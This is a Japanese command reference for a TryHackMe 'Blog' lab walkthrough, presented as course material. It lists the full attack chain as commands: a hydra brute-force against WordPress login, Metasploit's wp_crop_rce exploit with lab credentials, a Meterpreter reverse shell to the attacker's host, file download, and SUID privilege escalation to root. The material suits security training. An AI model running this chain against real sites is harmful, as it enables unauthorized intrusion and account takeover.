

レッドチーム演習：TryHackMe：Blog

「レッドチーム演習：TryHackMe：Blog」セクションに関する コマンド & リファレンスです。コマンドはセクションのレクチャー順に紹介してあります。既出コマンドは「由来」、「用途」の説明が省略されている場合があります。

TryHackMe

- Blog - Billy Joel made a Wordpress blog!, <https://tryhackme.com/room/blog>

スキャンニング

nmap

由来：Network Mapper 用途：ネットワーク探索とセキュリティ監査を行う

コマンド構文

使用例：nmap コマンドによるポートスキャンを実行します。オプションの意図は次のとおり。

- -Pnオプション pingをしない
- -T4オプション 高速実行の指定
- -Aオプション バージョン検出を指定

```
$ nmap -Pn -T4 -A -oN report_blog blog.thm
```

more

由来：more 用途：長いメッセージやテキストファイルを1画面ずつ表示する

コマンド構文

使用例：cat report_blog コマンドの実行結果を1画面ずつ表示します。ファイルを表示している途中で [Q] キーまたは [q] キーで終了します。

```
$ cat report_blog | more
```

grep

由来：Global Regular Expression Print 用途：特定の文字を含む行を抽出する

コマンド構文

使用例：cat report_blog コマンドの実行結果から open 文字列を含む行を表示します。

```
cat report_blog | grep open
```

ユーザー名の列挙

jq

由来：JSON Query 用途：JSON形式のデータを加工、整形する

コマンド構文

使用例：curl コマンドで blog.thm サイトの /wp-json/wp/v2/users から取得したダウンロードしたデータを JSON形式にて整形し users.json ファイルとして書き出します。

```
curl -s http://blog.thm/wp-json/wp/v2/users | jq > users.json
```

grep

コマンド構文

使用例：users.json ファイルから slug

```
cat user.json | grep -w slug
```

ユーザーリストとパスワードリストの用意

awk

由来：開発者の名前（Alfred Aho, Peter Weinberger, Brian Kernighan） 用途：テキストのパターン処理を行う

コマンド構文

使用例：JSON形式の users.json ファイルを整形し、ユーザーリストを作成する

- -F オプション フィールドの区切り文字を指定
- "" 区切り文字として「"」（ダブルクォート）を指定。「\」（バックスラッシュ）記号は特殊文字に対するエスケープ処理
- {print \$4} 4列目を表示する

```
$ cat users.json | grep -w slug | awk -F "\"" '{print $4}' > users.txt
```

gzip

由来：GNUプロジェクトによって開発・メンテナンスが行われているzipプログラム 用途：ファイルの圧縮・展開操作をする

コマンド構文

使用例：rockyou.txt.gz ファイルをホームディレクトリへコピーし、展開を行います。

- -dオプション 圧縮ファイルを展開する

```
$ cp /usr/share/wordlists/rockyou.txt.gz .  
$ gzip -d rockyou.txt.gz
```

WC

由来：Word Count 用途：テキストファイルの文字数や行数を数える

コマンド構文

使用例：rockyou.txt ファイルの行数をカウントします。

- -lオプション 改行の数を表示する

```
$ cat rockyou.txt | wc -l
```

ブルートフォース攻撃の実行

hydra

用途：インターネットサービスのパスワードをクラックする

コマンド構文

使用例：WordPress ログイン画面に対してブルートフォース攻撃をします。

- -hオプション コマンドラインのオプションを表示する。ヘルプ機能。
- -lオプション 引数としてユーザー名を渡す。「-L <USERNAME_LIST>」（大文字）にてユーザー名のリスト送信にも対応。

- -Pオプション 引数としてパスワードリストを渡す
- Fパラメータ フォームが返答するログイン失敗メッセージを設定

```
$ hydra -L user.txt -P rockyou.txt blog.thm http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2Fblog.thm%2Fwp-admin%2F&testcookie=1:F=The password you entered for the username"
```

Exploitコードの選択

searchsploit

用途：Exploit-DBリポジトリをコマンドラインで検索する

コマンド構文

使用例：複数の検索語（「WordPress」、「5.0」）を指定して検索します

```
$ searchsploit WordPress 5.0
```

Metasploit Framework

msfconsole

用途：攻撃コードの作成、実行を行う

コマンド構文

使用例：Exploit-DB:46662 のコードを使ってリモートからのアクセスを確立する

1. 使用するモジュールを検索する
2. 使用する exploit を選択し、ロード、読み込む
3. exploit の詳細を確認する

4. exploit を使用するのに必要な設定項目を確認する

```
$ msfconsole
msf6 > search wordpress 5.0
msf6 > use exploit/multi/http/wp_crop_rce
msf6 exploit(multi/http/wp_crop_rce) > info
msf6 exploit(multi/http/wp_crop_rce) > show options
msf6 exploit(multi/http/wp_crop_rce) > set PASSWORD cutiepie1
msf6 exploit(multi/http/wp_crop_rce) > set RHOSTS blog.thm
msf6 exploit(multi/http/wp_crop_rce) > set USERNAME kwheel
msf6 exploit(multi/http/wp_crop_rce) > set LHOST 自身のIPアドレス
msf6 exploit(multi/http/wp_crop_rce) > exploit
```

Meterpreter リバースシェル

meterpreter

用途：metasploitフレームワークが提供しているシェル

コマンド構文

使用例：meterpreter セッションからコンソールに切り替える

```
meterpreter > background
```

使用例：現在オープンしているセッションを確認する

```
msf6 exploit(multi/http/wp_crop_rce) > sessions -l
```

使用例：バックグラウンドのセッションを再開させる

```
msf6 exploit(multi/http/wp_crop_rce) > sessions -i セッション番号
```

使用例：ペイロードが実行されたマシンの情報（コンピュータ名、OS、meterpreterのバージョン情報）を取得する

```
meterpreter > sysinfo
```

使用例：Metasploitでexploitされたプロセスの実行権限を確認する

```
meterpreter > getuid
```

使用例：OSのシェルを起動する

```
meterpreter > shell
```

使用例：攻撃対象上の user.txt ファイルを攻撃端末の /tmp ディレクトリにダウンロードする

```
meterpreter > download user.txt /tmp
```

SETUIDプログラムの探索

python

コマンド構文

使用例：ptyモジュールを使って、bashシェルを生成します。

```
python -c 'import pty;pty.spawn("bash")'  
www-data@blog:/var/www/wordpress$
```

find

由来：find 用途：ファイルをさまざまな条件で検索する

コマンド構文

使用例：検索対象を / ルートディレクトリとし、ユーザー root で -perm -o=s オプション（setuid ビットが設定されている）ファイルを探す。検索結果を exec アクション（-exec コマンド オプション {} \;）を指定。検索結果に ls -la を実行（{} 部分に、検索結果が入る）。2>/dev/null は、標準エラーは /dev/null へ捨てて画面表示させない。

```
$ find / -user root -perm -o=s -exec ls -la {} \; 2>/dev/null
```

ルート権限への昇格

file

用途：ファイル形式を確認する

コマンド構文

使用例：checker プログラムのファイル形式を表示します。

```
$ file checker
```

ltrace

用途：共有ライブラリの関数呼び出しをトレースする

コマンド構文

使用例：checker プログラムの共有ライブラリの関数呼び出しをトレースします。

```
$ ltrace ./checker
```


export

用途：環境変数やシェル変数を設定する

コマンド構文

使用例：シェル変数として admin を定義し 値として 1 を設定します。

```
$ export admin=1
```

id

用途：ユーザーの識別情報を表示する

コマンド構文

使用例：ユーザーの識別情報を表示します。

```
$ id
uid=0(root) gid=33(www-data) groups=33(www-data)
```

セクション 参考資料

スキャンニング

- Nmap, <https://nmap.org/>
- スキャンニングテクニック (Port Scanning Techniques - Nmap) , <https://nmap.org/book/man-port-scanning-techniques.html>
- OS検出 (OS Detection - Nmap) , <https://nmap.org/book/man-os-detection.html>
- OS検出 (Remote OS Detection - Nmap) , <https://nmap.org/book/osdetect.html>
- OS検出 (Remote OS detection via TCP/IP Stack FingerPrinting - Phrack #54) , <http://phrack.org/issues/54/9.html#article>

ユーザー名の秘匿に関する是非

- Why are disclosures of usernames or user IDs not a security issue? - WordPress.org, <https://make.wordpress.org/core/handbook/testing/reporting-security-vulnerabilities/#why-are-disclosures-of-usernames-or-user-ids-not-a-security-issue>

ユーザーリストとパスワードリストの用意

- RockYouから盗まれた3200万のパスワードを分析: 最多はなんと"123456" - TechCrunch, <https://jp.techcrunch.com/2010/01/22/20100121depressing-analysis-of-rockyou-hacked-passwords/>
- One Of The 32 Million With A RockYou Account? You May Want To Change All Your Passwords. Like Now. - TechCrunch, <https://techcrunch.com/2009/12/14/rockyou-hacked/>
- KALI TOOLS, wordlists, <https://tools.kali.org/password-attacks/wordlists>

ブルートフォース攻撃の実行

- ログインフォームに対するブルートフォース（総当たり）攻撃によるパスワード解析 - Qiita, https://qiita.com/v_avenger/items/fc054e985e79e6eddb4d
- KALI TOOLS, Hydra Package Description, <https://tools.kali.org/password-attacks/hydra>

Exploitコードの選択

- SearchSploit - The Manual, <https://www.exploit-db.com/searchsploit>
- EDB-ID:46662 (CVE-2019-8943, CVE-2019-8942) , WordPress Core 5.0.0 - Crop-image Shell Upload (Metasploit), <https://www.exploit-db.com/exploits/46662>
- WordPress 5.0.0 Remote Code Execution - sonarsource, <https://blog.sonarsource.com/wordpress-image-remote-code-execution>
- 「WordPress」の脆弱性「CVE-2019-8942」と「CVE-2019-8943」について解説, <https://blog.trendmicro.co.jp/archives/20487>
- CWE-22 - パス・トラバーサル - JVN iPedia, <https://jvndb.jvn.jp/ja/cwe/CWE-22.html>
- CWE-94 - コード・インジェクション - JNV iPedia, <https://jvndb.jvn.jp/ja/cwe/C>

Metasploit Framework

- metasploit, <https://www.metasploit.com/>
- SANS Institute, Metasploit Cheat Sheet, https://www.sans.org/security-resources/sec560/misc_tools_sheet_v1.pdf

Meterpreter リバースシェル

- Blueliv, Meterpreter Cheat Sheet, https://www.blueliv.com/downloads/Meterpreter_cheat_sheet_v0.1.pdf

SETUIDプログラムの探索

- Spawning a TTY Shell - NETSEC, <https://netsec.ws/?p=337>
- Execution - MITRE ATT&CK, <https://attack.mitre.org/tactics/TA0002/>
- Command and Scripting Interpreter - MITRE ATT&CK, <https://attack.mitre.org/techniques/T1059/>
- Abuse Elevation Control Mechanism: Setuid and Setgid - MITRE ATT&CK, <https://attack.mitre.org/techniques/T1548/001/>

ルート権限への昇格

- 書籍『Mastering Reverse Engineering: Re-engineer your ethical hacking skills』, <https://www.amazon.co.jp/dp/178883884X/>